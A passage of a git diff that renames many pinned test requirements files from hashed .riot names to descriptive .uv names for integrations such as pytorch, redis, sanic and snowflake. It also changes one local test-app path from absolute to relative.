@@ -22,7 +22,7 @@ pastedeploy==3.1.0 plaster==1.1.2 plaster-pastedeploy==1.0.1 pluggy==1.5.0 -pserve-test-app @ file:///home/bits/project/tests/contrib/pyramid/pserve_app +pserve-test-app @ ./tests/contrib/pyramid/pserve_app pyramid==2.0.2 pytest==8.3.1 pytest-cov==5.0.0 diff --git a/.riot/requirements/97d2271.txt b/.uv/contrib-pyramid--pyramid-py39-pyramid-latest-pyramid.txt similarity index 92% rename from .riot/requirements/97d2271.txt rename to .uv/contrib-pyramid--pyramid-py39-pyramid-latest-pyramid.txt index 1a873d9efee..5139bcd0385 100644 --- a/.riot/requirements/97d2271.txt +++ b/.uv/contrib-pyramid--pyramid-py39-pyramid-latest-pyramid.txt @@ -22,7 +22,7 @@ pastedeploy==3.1.0 plaster==1.1.2 plaster-pastedeploy==1.0.1 pluggy==1.5.0 -pserve-test-app @ file:///home/bits/project/tests/contrib/pyramid/pserve_app +pserve-test-app @ ./tests/contrib/pyramid/pserve_app pyramid==2.0.2 pytest==8.3.1 pytest-cov==5.0.0 diff --git a/.riot/requirements/b77de6a.txt b/.uv/contrib-pytorch--pytorch-py310-torch-2-0-0-torch.txt similarity index 100% rename from .riot/requirements/b77de6a.txt rename to .uv/contrib-pytorch--pytorch-py310-torch-2-0-0-torch.txt diff --git a/.riot/requirements/139b6b2.txt b/.uv/contrib-pytorch--pytorch-py310-torch-2-1-0-torch.txt similarity index 100% rename from .riot/requirements/139b6b2.txt rename to .uv/contrib-pytorch--pytorch-py310-torch-2-1-0-torch.txt diff --git a/.riot/requirements/1d55347.txt b/.uv/contrib-pytorch--pytorch-py310-torch-2-2-0-torch-2.txt similarity index 100% rename from .riot/requirements/1d55347.txt rename to .uv/contrib-pytorch--pytorch-py310-torch-2-2-0-torch-2.txt diff --git a/.riot/requirements/1059304.txt b/.uv/contrib-pytorch--pytorch-py310-torch-2-3-0-torch-2.txt similarity index 100% rename from .riot/requirements/1059304.txt rename to .uv/contrib-pytorch--pytorch-py310-torch-2-3-0-torch-2.txt diff --git a/.riot/requirements/1d6137c.txt b/.uv/contrib-pytorch--pytorch-py310-torch-2-4-0-torch-3.txt similarity index 100% rename from .riot/requirements/1d6137c.txt rename to .uv/contrib-pytorch--pytorch-py310-torch-2-4-0-torch-3.txt diff --git a/.riot/requirements/34517c6.txt b/.uv/contrib-pytorch--pytorch-py310-torch-2-5-0-torch-3.txt similarity index 100% rename from .riot/requirements/34517c6.txt rename to .uv/contrib-pytorch--pytorch-py310-torch-2-5-0-torch-3.txt diff --git a/.riot/requirements/afdf8ce.txt b/.uv/contrib-pytorch--pytorch-py310-torch-2-6-0-torch-3.txt similarity index 100% rename from .riot/requirements/afdf8ce.txt rename to .uv/contrib-pytorch--pytorch-py310-torch-2-6-0-torch-3.txt diff --git a/.riot/requirements/d300b85.txt b/.uv/contrib-pytorch--pytorch-py310-torch-2-7-0-torch-3.txt similarity index 100% rename from .riot/requirements/d300b85.txt rename to .uv/contrib-pytorch--pytorch-py310-torch-2-7-0-torch-3.txt diff --git a/.riot/requirements/177b157.txt b/.uv/contrib-pytorch--pytorch-py311-torch-2-0-0-torch.txt similarity index 100% rename from .riot/requirements/177b157.txt rename to .uv/contrib-pytorch--pytorch-py311-torch-2-0-0-torch.txt diff --git a/.riot/requirements/17a8226.txt b/.uv/contrib-pytorch--pytorch-py311-torch-2-1-0-torch.txt similarity index 100% rename from .riot/requirements/17a8226.txt rename to .uv/contrib-pytorch--pytorch-py311-torch-2-1-0-torch.txt diff --git a/.riot/requirements/1a9e432.txt b/.uv/contrib-pytorch--pytorch-py311-torch-2-2-0-torch-2.txt similarity index 100% rename from .riot/requirements/1a9e432.txt rename to .uv/contrib-pytorch--pytorch-py311-torch-2-2-0-torch-2.txt diff --git a/.riot/requirements/1b254f8.txt b/.uv/contrib-pytorch--pytorch-py311-torch-2-3-0-torch-2.txt similarity index 100% rename from .riot/requirements/1b254f8.txt rename to .uv/contrib-pytorch--pytorch-py311-torch-2-3-0-torch-2.txt diff --git a/.riot/requirements/16e767e.txt b/.uv/contrib-pytorch--pytorch-py311-torch-2-4-0-torch-3.txt similarity index 100% rename from .riot/requirements/16e767e.txt rename to .uv/contrib-pytorch--pytorch-py311-torch-2-4-0-torch-3.txt diff --git a/.riot/requirements/dc250d4.txt b/.uv/contrib-pytorch--pytorch-py311-torch-2-5-0-torch-3.txt similarity index 100% rename from .riot/requirements/dc250d4.txt rename to .uv/contrib-pytorch--pytorch-py311-torch-2-5-0-torch-3.txt diff --git a/.riot/requirements/1e9ae39.txt b/.uv/contrib-pytorch--pytorch-py311-torch-2-6-0-torch-3.txt similarity index 100% rename from .riot/requirements/1e9ae39.txt rename to .uv/contrib-pytorch--pytorch-py311-torch-2-6-0-torch-3.txt diff --git a/.riot/requirements/e321c89.txt b/.uv/contrib-pytorch--pytorch-py311-torch-2-7-0-torch-3.txt similarity index 100% rename from .riot/requirements/e321c89.txt rename to .uv/contrib-pytorch--pytorch-py311-torch-2-7-0-torch-3.txt diff --git a/.riot/requirements/d598449.txt b/.uv/contrib-pytorch--pytorch-py312-torch-2-10-0-torch-4.txt similarity index 100% rename from .riot/requirements/d598449.txt rename to .uv/contrib-pytorch--pytorch-py312-torch-2-10-0-torch-4.txt diff --git a/.riot/requirements/1351aca.txt b/.uv/contrib-pytorch--pytorch-py312-torch-2-11-0-torch-4.txt similarity index 100% rename from .riot/requirements/1351aca.txt rename to .uv/contrib-pytorch--pytorch-py312-torch-2-11-0-torch-4.txt diff --git a/.riot/requirements/173555b.txt b/.uv/contrib-pytorch--pytorch-py312-torch-2-12-0-torch-4.txt similarity index 100% rename from .riot/requirements/173555b.txt rename to .uv/contrib-pytorch--pytorch-py312-torch-2-12-0-torch-4.txt diff --git a/.riot/requirements/a9c7746.txt b/.uv/contrib-pytorch--pytorch-py312-torch-2-2-0-torch-2.txt similarity index 100% rename from .riot/requirements/a9c7746.txt rename to .uv/contrib-pytorch--pytorch-py312-torch-2-2-0-torch-2.txt diff --git a/.riot/requirements/116b0b8.txt b/.uv/contrib-pytorch--pytorch-py312-torch-2-3-0-torch-2.txt similarity index 100% rename from .riot/requirements/116b0b8.txt rename to .uv/contrib-pytorch--pytorch-py312-torch-2-3-0-torch-2.txt diff --git a/.riot/requirements/1ea7124.txt b/.uv/contrib-pytorch--pytorch-py312-torch-2-4-0-torch-3.txt similarity index 100% rename from .riot/requirements/1ea7124.txt rename to .uv/contrib-pytorch--pytorch-py312-torch-2-4-0-torch-3.txt diff --git a/.riot/requirements/179c655.txt b/.uv/contrib-pytorch--pytorch-py312-torch-2-5-0-torch-3.txt similarity index 100% rename from .riot/requirements/179c655.txt rename to .uv/contrib-pytorch--pytorch-py312-torch-2-5-0-torch-3.txt diff --git a/.riot/requirements/1efcde5.txt b/.uv/contrib-pytorch--pytorch-py312-torch-2-6-0-torch-3.txt similarity index 100% rename from .riot/requirements/1efcde5.txt rename to .uv/contrib-pytorch--pytorch-py312-torch-2-6-0-torch-3.txt diff --git a/.riot/requirements/21226ae.txt b/.uv/contrib-pytorch--pytorch-py312-torch-2-7-0-torch-3.txt similarity index 100% rename from .riot/requirements/21226ae.txt rename to .uv/contrib-pytorch--pytorch-py312-torch-2-7-0-torch-3.txt diff --git a/.riot/requirements/19ca09f.txt b/.uv/contrib-pytorch--pytorch-py312-torch-2-8-0-torch-4.txt similarity index 100% rename from .riot/requirements/19ca09f.txt rename to .uv/contrib-pytorch--pytorch-py312-torch-2-8-0-torch-4.txt diff --git a/.riot/requirements/2dde9bb.txt b/.uv/contrib-pytorch--pytorch-py312-torch-2-9-0-torch-4.txt similarity index 100% rename from .riot/requirements/2dde9bb.txt rename to .uv/contrib-pytorch--pytorch-py312-torch-2-9-0-torch-4.txt diff --git a/.riot/requirements/171c54c.txt b/.uv/contrib-pytorch--pytorch-py312-torch-latest-torch-4.txt similarity index 100% rename from .riot/requirements/171c54c.txt rename to .uv/contrib-pytorch--pytorch-py312-torch-latest-torch-4.txt diff --git a/.riot/requirements/6444f67.txt b/.uv/contrib-pytorch--pytorch-py39-torch-2-0-0-torch.txt similarity index 100% rename from .riot/requirements/6444f67.txt rename to .uv/contrib-pytorch--pytorch-py39-torch-2-0-0-torch.txt diff --git a/.riot/requirements/181e2d5.txt b/.uv/contrib-pytorch--pytorch-py39-torch-2-1-0-torch.txt similarity index 100% rename from .riot/requirements/181e2d5.txt rename to .uv/contrib-pytorch--pytorch-py39-torch-2-1-0-torch.txt diff --git a/.riot/requirements/efc40e8.txt b/.uv/contrib-pytorch--pytorch-py39-torch-2-2-0-torch-2.txt similarity index 100% rename from .riot/requirements/efc40e8.txt rename to .uv/contrib-pytorch--pytorch-py39-torch-2-2-0-torch-2.txt diff --git a/.riot/requirements/1a4c54d.txt b/.uv/contrib-pytorch--pytorch-py39-torch-2-3-0-torch-2.txt similarity index 100% rename from .riot/requirements/1a4c54d.txt rename to .uv/contrib-pytorch--pytorch-py39-torch-2-3-0-torch-2.txt diff --git a/.riot/requirements/1989fbc.txt b/.uv/contrib-pytorch--pytorch-py39-torch-2-4-0-torch-3.txt similarity index 100% rename from .riot/requirements/1989fbc.txt rename to .uv/contrib-pytorch--pytorch-py39-torch-2-4-0-torch-3.txt diff --git a/.riot/requirements/1346e9d.txt b/.uv/contrib-pytorch--pytorch-py39-torch-2-5-0-torch-3.txt similarity index 100% rename from .riot/requirements/1346e9d.txt rename to .uv/contrib-pytorch--pytorch-py39-torch-2-5-0-torch-3.txt diff --git a/.riot/requirements/6fb24b4.txt b/.uv/contrib-pytorch--pytorch-py39-torch-2-6-0-torch-3.txt similarity index 100% rename from .riot/requirements/6fb24b4.txt rename to .uv/contrib-pytorch--pytorch-py39-torch-2-6-0-torch-3.txt diff --git a/.riot/requirements/7878a79.txt b/.uv/contrib-pytorch--pytorch-py39-torch-2-7-0-torch-3.txt similarity index 100% rename from .riot/requirements/7878a79.txt rename to .uv/contrib-pytorch--pytorch-py39-torch-2-7-0-torch-3.txt diff --git a/.riot/requirements/16d8026.txt b/.uv/contrib-ray--ray-py311-ray-2-46.txt similarity index 100% rename from .riot/requirements/16d8026.txt rename to .uv/contrib-ray--ray-py311-ray-2-46.txt diff --git a/.riot/requirements/70b60a0.txt b/.uv/contrib-ray--ray-py311-ray-2-54.txt similarity index 100% rename from .riot/requirements/70b60a0.txt rename to .uv/contrib-ray--ray-py311-ray-2-54.txt diff --git a/.riot/requirements/157ef2b.txt b/.uv/contrib-ray--ray-py312-ray-2-46.txt similarity index 100% rename from .riot/requirements/157ef2b.txt rename to .uv/contrib-ray--ray-py312-ray-2-46.txt diff --git a/.riot/requirements/1e5c11f.txt b/.uv/contrib-ray--ray-py312-ray-2-54.txt similarity index 100% rename from .riot/requirements/1e5c11f.txt rename to .uv/contrib-ray--ray-py312-ray-2-54.txt diff --git a/.riot/requirements/4dc83b1.txt b/.uv/contrib-ray--ray-py313-ray-2-46.txt similarity index 100% rename from .riot/requirements/4dc83b1.txt rename to .uv/contrib-ray--ray-py313-ray-2-46.txt diff --git a/.riot/requirements/d9d72d2.txt b/.uv/contrib-ray--ray-py313-ray-2-54.txt similarity index 100% rename from .riot/requirements/d9d72d2.txt rename to .uv/contrib-ray--ray-py313-ray-2-54.txt diff --git a/.riot/requirements/1230ef1.txt b/.uv/contrib-ray-serve--ray-serve-py311-ray-2-47.txt similarity index 100% rename from .riot/requirements/1230ef1.txt rename to .uv/contrib-ray-serve--ray-serve-py311-ray-2-47.txt diff --git a/.riot/requirements/699f6fe.txt b/.uv/contrib-ray-serve--ray-serve-py311-ray-2-54.txt similarity index 100% rename from .riot/requirements/699f6fe.txt rename to .uv/contrib-ray-serve--ray-serve-py311-ray-2-54.txt diff --git a/.riot/requirements/a30c2f1.txt b/.uv/contrib-ray-serve--ray-serve-py312-ray-2-47.txt similarity index 100% rename from .riot/requirements/a30c2f1.txt rename to .uv/contrib-ray-serve--ray-serve-py312-ray-2-47.txt diff --git a/.riot/requirements/170c530.txt b/.uv/contrib-ray-serve--ray-serve-py312-ray-2-54.txt similarity index 100% rename from .riot/requirements/170c530.txt rename to .uv/contrib-ray-serve--ray-serve-py312-ray-2-54.txt diff --git a/.riot/requirements/17edf5a.txt b/.uv/contrib-ray-serve--ray-serve-py313-ray-2-47.txt similarity index 100% rename from .riot/requirements/17edf5a.txt rename to .uv/contrib-ray-serve--ray-serve-py313-ray-2-47.txt diff --git a/.riot/requirements/1c2ac7a.txt b/.uv/contrib-ray-serve--ray-serve-py313-ray-2-54.txt similarity index 100% rename from .riot/requirements/1c2ac7a.txt rename to .uv/contrib-ray-serve--ray-serve-py313-ray-2-54.txt diff --git a/.riot/requirements/74e07bf.txt b/.uv/contrib-redis--redis-py310-redis-4-1-redis-pytest-asyncio-0-23-7.txt similarity index 100% rename from .riot/requirements/74e07bf.txt rename to .uv/contrib-redis--redis-py310-redis-4-1-redis-pytest-asyncio-0-23-7.txt diff --git a/.riot/requirements/195ecad.txt b/.uv/contrib-redis--redis-py310-redis-4-3-redis-pytest-asyncio-0-23-7.txt similarity index 100% rename from .riot/requirements/195ecad.txt rename to .uv/contrib-redis--redis-py310-redis-4-3-redis-pytest-asyncio-0-23-7.txt diff --git a/.riot/requirements/177912e.txt b/.uv/contrib-redis--redis-py310-redis-5-0-1-redis-pytest-asyncio-0-23-7.txt similarity index 100% rename from .riot/requirements/177912e.txt rename to .uv/contrib-redis--redis-py310-redis-5-0-1-redis-pytest-asyncio-0-23-7.txt diff --git a/.riot/requirements/c961281.txt b/.uv/contrib-redis--redis-py311-redis-4-3-redis-pytest-asyncio-0-23-7-2.txt similarity index 100% rename from .riot/requirements/c961281.txt rename to .uv/contrib-redis--redis-py311-redis-4-3-redis-pytest-asyncio-0-23-7-2.txt diff --git a/.riot/requirements/18b32f4.txt b/.uv/contrib-redis--redis-py311-redis-5-0-1-redis-pytest-asyncio-0-23-7-2.txt similarity index 100% rename from .riot/requirements/18b32f4.txt rename to .uv/contrib-redis--redis-py311-redis-5-0-1-redis-pytest-asyncio-0-23-7-2.txt diff --git a/.riot/requirements/9232661.txt b/.uv/contrib-redis--redis-py312-redis-latest-pytest-asyncio-0-23-7.txt similarity index 100% rename from .riot/requirements/9232661.txt rename to .uv/contrib-redis--redis-py312-redis-latest-pytest-asyncio-0-23-7.txt diff --git a/.riot/requirements/c1351c9.txt b/.uv/contrib-redis--redis-py313-redis-latest-pytest-asyncio-0-23-7.txt similarity index 100% rename from .riot/requirements/c1351c9.txt rename to .uv/contrib-redis--redis-py313-redis-latest-pytest-asyncio-0-23-7.txt diff --git a/.riot/requirements/1a683e5.txt b/.uv/contrib-redis--redis-py314-redis-latest-pytest-asyncio-latest.txt similarity index 100% rename from .riot/requirements/1a683e5.txt rename to .uv/contrib-redis--redis-py314-redis-latest-pytest-asyncio-latest.txt diff --git a/.riot/requirements/1916976.txt b/.uv/contrib-redis--redis-py39-redis-4-1-redis-pytest-asyncio-0-23-7.txt similarity index 100% rename from .riot/requirements/1916976.txt rename to .uv/contrib-redis--redis-py39-redis-4-1-redis-pytest-asyncio-0-23-7.txt diff --git a/.riot/requirements/1d32f58.txt b/.uv/contrib-redis--redis-py39-redis-4-3-redis-pytest-asyncio-0-23-7.txt similarity index 100% rename from .riot/requirements/1d32f58.txt rename to .uv/contrib-redis--redis-py39-redis-4-3-redis-pytest-asyncio-0-23-7.txt diff --git a/.riot/requirements/181128c.txt b/.uv/contrib-redis--redis-py39-redis-5-0-1-redis-pytest-asyncio-0-23-7.txt similarity index 100% rename from .riot/requirements/181128c.txt rename to .uv/contrib-redis--redis-py39-redis-5-0-1-redis-pytest-asyncio-0-23-7.txt diff --git a/.riot/requirements/27d8bd1.txt b/.uv/contrib-rediscluster--rediscluster-py310-redis-py-cluster-2-0.txt similarity index 100% rename from .riot/requirements/27d8bd1.txt rename to .uv/contrib-rediscluster--rediscluster-py310-redis-py-cluster-2-0.txt diff --git a/.riot/requirements/bd14427.txt b/.uv/contrib-rediscluster--rediscluster-py310-redis-py-cluster-latest.txt similarity index 100% rename from .riot/requirements/bd14427.txt rename to .uv/contrib-rediscluster--rediscluster-py310-redis-py-cluster-latest.txt diff --git a/.riot/requirements/51e2096.txt b/.uv/contrib-rediscluster--rediscluster-py311-redis-py-cluster-2-0.txt similarity index 100% rename from .riot/requirements/51e2096.txt rename to .uv/contrib-rediscluster--rediscluster-py311-redis-py-cluster-2-0.txt diff --git a/.riot/requirements/694a5dc.txt b/.uv/contrib-rediscluster--rediscluster-py311-redis-py-cluster-latest.txt similarity index 100% rename from .riot/requirements/694a5dc.txt rename to .uv/contrib-rediscluster--rediscluster-py311-redis-py-cluster-latest.txt diff --git a/.riot/requirements/adec509.txt b/.uv/contrib-rediscluster--rediscluster-py39-redis-py-cluster-2-0.txt similarity index 100% rename from .riot/requirements/adec509.txt rename to .uv/contrib-rediscluster--rediscluster-py39-redis-py-cluster-2-0.txt diff --git a/.riot/requirements/17a194c.txt b/.uv/contrib-rediscluster--rediscluster-py39-redis-py-cluster-latest.txt similarity index 100% rename from .riot/requirements/17a194c.txt rename to .uv/contrib-rediscluster--rediscluster-py39-redis-py-cluster-latest.txt diff --git a/.riot/requirements/f4ec092.txt b/.uv/contrib-requests--requests-py310-requests-2-27.txt similarity index 100% rename from .riot/requirements/f4ec092.txt rename to .uv/contrib-requests--requests-py310-requests-2-27.txt diff --git a/.riot/requirements/6028c6e.txt b/.uv/contrib-requests--requests-py310-requests-latest.txt similarity index 100% rename from .riot/requirements/6028c6e.txt rename to .uv/contrib-requests--requests-py310-requests-latest.txt diff --git a/.riot/requirements/a36a30e.txt b/.uv/contrib-requests--requests-py311-requests-2-28.txt similarity index 100% rename from .riot/requirements/a36a30e.txt rename to .uv/contrib-requests--requests-py311-requests-2-28.txt diff --git a/.riot/requirements/15cab00.txt b/.uv/contrib-requests--requests-py311-requests-latest.txt similarity index 100% rename from .riot/requirements/15cab00.txt rename to .uv/contrib-requests--requests-py311-requests-latest.txt diff --git a/.riot/requirements/1fab05e.txt b/.uv/contrib-requests--requests-py312-requests-latest.txt similarity index 100% rename from .riot/requirements/1fab05e.txt rename to .uv/contrib-requests--requests-py312-requests-latest.txt diff --git a/.riot/requirements/91fe586.txt b/.uv/contrib-requests--requests-py313-requests-latest.txt similarity index 100% rename from .riot/requirements/91fe586.txt rename to .uv/contrib-requests--requests-py313-requests-latest.txt diff --git a/.riot/requirements/190cc1a.txt b/.uv/contrib-requests--requests-py314-requests-latest.txt similarity index 100% rename from .riot/requirements/190cc1a.txt rename to .uv/contrib-requests--requests-py314-requests-latest.txt diff --git a/.riot/requirements/f5ecf02.txt b/.uv/contrib-requests--requests-py39-requests-2-25.txt similarity index 100% rename from .riot/requirements/f5ecf02.txt rename to .uv/contrib-requests--requests-py39-requests-2-25.txt diff --git a/.riot/requirements/18e95df.txt b/.uv/contrib-requests--requests-py39-requests-latest.txt similarity index 100% rename from .riot/requirements/18e95df.txt rename to .uv/contrib-requests--requests-py39-requests-latest.txt diff --git a/.riot/requirements/3cbb6c7.txt b/.uv/contrib-rq--rq-py310-rq-latest.txt similarity index 100% rename from .riot/requirements/3cbb6c7.txt rename to .uv/contrib-rq--rq-py310-rq-latest.txt diff --git a/.riot/requirements/e02e81a.txt b/.uv/contrib-rq--rq-py311-rq-latest.txt similarity index 100% rename from .riot/requirements/e02e81a.txt rename to .uv/contrib-rq--rq-py311-rq-latest.txt diff --git a/.riot/requirements/b767984.txt b/.uv/contrib-rq--rq-py312-rq-latest.txt similarity index 100% rename from .riot/requirements/b767984.txt rename to .uv/contrib-rq--rq-py312-rq-latest.txt diff --git a/.riot/requirements/f33b994.txt b/.uv/contrib-rq--rq-py313-rq-latest.txt similarity index 100% rename from .riot/requirements/f33b994.txt rename to .uv/contrib-rq--rq-py313-rq-latest.txt diff --git a/.riot/requirements/1e05e0c.txt b/.uv/contrib-rq--rq-py39-rq-1-10-0-rq-click-7-1-2.txt similarity index 100% rename from .riot/requirements/1e05e0c.txt rename to .uv/contrib-rq--rq-py39-rq-1-10-0-rq-click-7-1-2.txt diff --git a/.riot/requirements/816352e.txt b/.uv/contrib-rq--rq-py39-rq-1-8-1-rq-click-7-1-2.txt similarity index 100% rename from .riot/requirements/816352e.txt rename to .uv/contrib-rq--rq-py39-rq-1-8-1-rq-click-7-1-2.txt diff --git a/.riot/requirements/f3fb520.txt b/.uv/contrib-rq--rq-py39-rq-2-0-0-rq-click-7-1-2.txt similarity index 100% rename from .riot/requirements/f3fb520.txt rename to .uv/contrib-rq--rq-py39-rq-2-0-0-rq-click-7-1-2.txt diff --git a/.riot/requirements/1182d01.txt b/.uv/contrib-rq--rq-py39-rq-latest-rq-click-7-1-2.txt similarity index 100% rename from .riot/requirements/1182d01.txt rename to .uv/contrib-rq--rq-py39-rq-latest-rq-click-7-1-2.txt diff --git a/.riot/requirements/a503806.txt b/.uv/contrib-sanic--sanic-py310-sanic-21-12-0-sanic-testing-0-8-3.txt similarity index 100% rename from .riot/requirements/a503806.txt rename to .uv/contrib-sanic--sanic-py310-sanic-21-12-0-sanic-testing-0-8-3.txt diff --git a/.riot/requirements/36759c0.txt b/.uv/contrib-sanic--sanic-py310-sanic-22-12-sanic-sanic-testing-22-3-0.txt similarity index 100% rename from .riot/requirements/36759c0.txt rename to .uv/contrib-sanic--sanic-py310-sanic-22-12-sanic-sanic-testing-22-3-0.txt diff --git a/.riot/requirements/194c56a.txt b/.uv/contrib-sanic--sanic-py310-sanic-22-3-sanic-sanic-testing-22-3-0.txt similarity index 100% rename from .riot/requirements/194c56a.txt rename to .uv/contrib-sanic--sanic-py310-sanic-22-3-sanic-sanic-testing-22-3-0.txt diff --git a/.riot/requirements/1d3e0cc.txt b/.uv/contrib-sanic--sanic-py311-sanic-22-12-0-sanic-sanic-testing-22-3-0-2.txt similarity index 100% rename from .riot/requirements/1d3e0cc.txt rename to .uv/contrib-sanic--sanic-py311-sanic-22-12-0-sanic-sanic-testing-22-3-0-2.txt diff --git a/.riot/requirements/18515c6.txt b/.uv/contrib-sanic--sanic-py311-sanic-23-12-sanic-sanic-testing-22-3-0-2.txt similarity index 100% rename from .riot/requirements/18515c6.txt rename to .uv/contrib-sanic--sanic-py311-sanic-23-12-sanic-sanic-testing-22-3-0-2.txt diff --git a/.riot/requirements/a34686d.txt b/.uv/contrib-sanic--sanic-py312-sanic-23-12-sanic-testing-23-12-0.txt similarity index 100% rename from .riot/requirements/a34686d.txt rename to .uv/contrib-sanic--sanic-py312-sanic-23-12-sanic-testing-23-12-0.txt diff --git a/.riot/requirements/17806ff.txt b/.uv/contrib-sanic--sanic-py39-sanic-20-12-pytest-sanic-1-6-2.txt similarity index 100% rename from .riot/requirements/17806ff.txt rename to .uv/contrib-sanic--sanic-py39-sanic-20-12-pytest-sanic-1-6-2.txt diff --git a/.riot/requirements/6f9ac87.txt b/.uv/contrib-sanic--sanic-py39-sanic-21-12-sanic-sanic-testing-0-8-3.txt similarity index 100% rename from .riot/requirements/6f9ac87.txt rename to .uv/contrib-sanic--sanic-py39-sanic-21-12-sanic-sanic-testing-0-8-3.txt diff --git a/.riot/requirements/1a4ea78.txt b/.uv/contrib-sanic--sanic-py39-sanic-21-3-sanic-sanic-testing-0-8-3.txt similarity index 100% rename from .riot/requirements/1a4ea78.txt rename to .uv/contrib-sanic--sanic-py39-sanic-21-3-sanic-sanic-testing-0-8-3.txt diff --git a/.riot/requirements/569b521.txt b/.uv/contrib-sanic--sanic-py39-sanic-22-12-sanic-sanic-testing-22-3-0.txt similarity index 100% rename from .riot/requirements/569b521.txt rename to .uv/contrib-sanic--sanic-py39-sanic-22-12-sanic-sanic-testing-22-3-0.txt diff --git a/.riot/requirements/785dd21.txt b/.uv/contrib-sanic--sanic-py39-sanic-22-3-sanic-sanic-testing-22-3-0.txt similarity index 100% rename from .riot/requirements/785dd21.txt rename to .uv/contrib-sanic--sanic-py39-sanic-22-3-sanic-sanic-testing-22-3-0.txt diff --git a/.riot/requirements/1fe6270.txt b/.uv/contrib-snowflake--snowflake-py310-snowflake-connector-python-2-7-2-snowflake-connector-python-2.txt similarity index 100% rename from .riot/requirements/1fe6270.txt rename to .uv/contrib-snowflake--snowflake-py310-snowflake-connector-python-2-7-2-snowflake-connector-python-2.txt diff --git a/.riot/requirements/546aa25.txt b/.uv/contrib-snowflake--snowflake-py310-snowflake-connector-python-2-9-0-snowflake-connector-python-2.txt similarity index 100% rename from .riot/requirements/546aa25.txt rename to .uv/contrib-snowflake--snowflake-py310-snowflake-connector-python-2-9-0-snowflake-connector-python-2.txt diff --git a/.riot/requirements/6875074.txt b/.uv/contrib-snowflake--snowflake-py310-snowflake-connector-python-latest-snowflake-connector-python-2.txt similarity index 100% rename from .riot/requirements/6875074.txt rename to .uv/contrib-snowflake--snowflake-py310-snowflake-connector-python-latest-snowflake-connector-python-2.txt diff --git a/.riot/requirements/10d8f51.txt b/.uv/contrib-snowflake--snowflake-py311-snowflake-connector-python-latest.txt similarity index 100% rename from .riot/requirements/10d8f51.txt rename to .uv/contrib-snowflake--snowflake-py311-snowflake-connector-python-latest.txt diff --git a/.riot/requirements/481655f.txt b/.uv/contrib-snowflake--snowflake-py312-snowflake-connector-python-latest.txt similarity index 100% rename from .riot/requirements/481655f.txt rename to .uv/contrib-snowflake--snowflake-py312-snowflake-connector-python-latest.txt diff --git a/.riot/requirements/1332b9d.txt b/.uv/contrib-snowflake--snowflake-py313-snowflake-connector-python-latest.txt similarity index 100% rename from .riot/requirements/1332b9d.txt rename to .uv/contrib-snowflake--snowflake-py313-snowflake-connector-python-latest.txt diff --git a/.riot/requirements/722cafc.txt b/.uv/contrib-snowflake--snowflake-py314-snowflake-connector-python-latest.txt similarity index 100% rename from .riot/requirements/722cafc.txt rename to .uv/contrib-snowflake--snowflake-py314-snowflake-connector-python-latest.txt diff --git a/.riot/requirements/11b0623.txt b/.uv/contrib-snowflake--snowflake-py39-snowflake-connector-python-2-4-0-snowflake-connector-python.txt similarity index 100% rename from .riot/requirements/11b0623.txt rename to .uv/contrib-snowflake--snowflake-py39-snowflake-connector-python-2-4-0-snowflake-connector-python.txt diff --git a/.riot/requirements/f87779b.txt b/.uv/contrib-snowflake--snowflake-py39-snowflake-connector-python-2-9-0-snowflake-connector-python.txt similarity index 100% rename from .riot/requirements/f87779b.txt rename to .uv/contrib-snowflake--snowflake-py39-snowflake-connector-python-2-9-0-snowflake-connector-python.txt diff --git a/.riot/requirements/15e6955.txt b/.uv/contrib-snowflake--snowflake-py39-snowflake-connector-python-latest-snowflake-connector-python.txt similarity index 100% rename from .riot/requirements/15e6955.txt rename to .uv/contrib-snowflake--snowflake-py39-snowflake-connector-python-latest-snowflake-connector-python.txt diff --git a/.riot/requirements/fc173b8.txt b/.uv/contrib-sourcecode--sourcecode-py310.txt similarity index 100% rename from .riot/requirements/fc173b8.txt rename to .uv/contrib-sourcecode--sourcecode-py310.txt diff --git a/.riot/requirements/6f431c9.txt b/.uv/contrib-sourcecode--sourcecode-py311.txt similarity index 100% rename from .riot/requirements/6f431c9.txt rename to .uv/contrib-sourcecode--sourcecode-py311.txt diff --git a/.riot/requirements/190ee75.txt b/.uv/contrib-sourcecode--sourcecode-py312.txt similarity index 100% rename from .riot/requirements/190ee75.txt rename to .uv/contrib-sourcecode--sourcecode-py312.txt diff --git a/.riot/requirements/dbeb1d7.txt b/.uv/contrib-sourcecode--sourcecode-py313.txt similarity index 100% rename from .riot/requirements/dbeb1d7.txt rename to .uv/contrib-sourcecode--sourcecode-py313.txt diff --git a/.riot/requirements/dbdd97d.txt b/.uv/contrib-sourcecode--sourcecode-py314.txt similarity index 100% rename from .riot/requirements/dbdd97d.txt rename to .uv/contrib-sourcecode--sourcecode-py314.txt diff --git a/.riot/requirements/af72903.txt b/.uv/contrib-sourcecode--sourcecode-py39.txt similarity index 100% rename from .riot/requirements/af72903.txt rename to .uv/contrib-sourcecode--sourcecode-py39.txt diff --git a/.riot/requirements/bc9aff8.txt b/.uv/contrib-sqlalchemy--sqlalchemy-py310-sqlalchemy-1-3-0-sqlalchemy-greenlet-3-0-3.txt similarity index 100% rename from .riot/requirements/bc9aff8.txt rename to .uv/contrib-sqlalchemy--sqlalchemy-py310-sqlalchemy-1-3-0-sqlalchemy-greenlet-3-0-3.txt diff --git a/.riot/requirements/1384411.txt b/.uv/contrib-sqlalchemy--sqlalchemy-py310-sqlalchemy-latest-sqlalchemy-greenlet-3-0-3.txt similarity index 100% rename from .riot/requirements/1384411.txt rename to .uv/contrib-sqlalchemy--sqlalchemy-py310-sqlalchemy-latest-sqlalchemy-greenlet-3-0-3.txt diff --git a/.riot/requirements/3f472ba.txt b/.uv/contrib-sqlalchemy--sqlalchemy-py311-sqlalchemy-1-3-0-sqlalchemy-greenlet-3-0-3.txt similarity index 100% rename from .riot/requirements/3f472ba.txt rename to .uv/contrib-sqlalchemy--sqlalchemy-py311-sqlalchemy-1-3-0-sqlalchemy-greenlet-3-0-3.txt diff --git a/.riot/requirements/19db357.txt b/.uv/contrib-sqlalchemy--sqlalchemy-py311-sqlalchemy-latest-sqlalchemy-greenlet-3-0-3.txt similarity index 100% rename from .riot/requirements/19db357.txt rename to .uv/contrib-sqlalchemy--sqlalchemy-py311-sqlalchemy-latest-sqlalchemy-greenlet-3-0-3.txt diff --git a/.riot/requirements/178dbc8.txt b/.uv/contrib-sqlalchemy--sqlalchemy-py312-sqlalchemy-1-3-0-sqlalchemy-greenlet-3-0-3.txt similarity index 100% rename from .riot/requirements/178dbc8.txt rename to .uv/contrib-sqlalchemy--sqlalchemy-py312-sqlalchemy-1-3-0-sqlalchemy-greenlet-3-0-3.txt diff --git a/.riot/requirements/f15bee1.txt 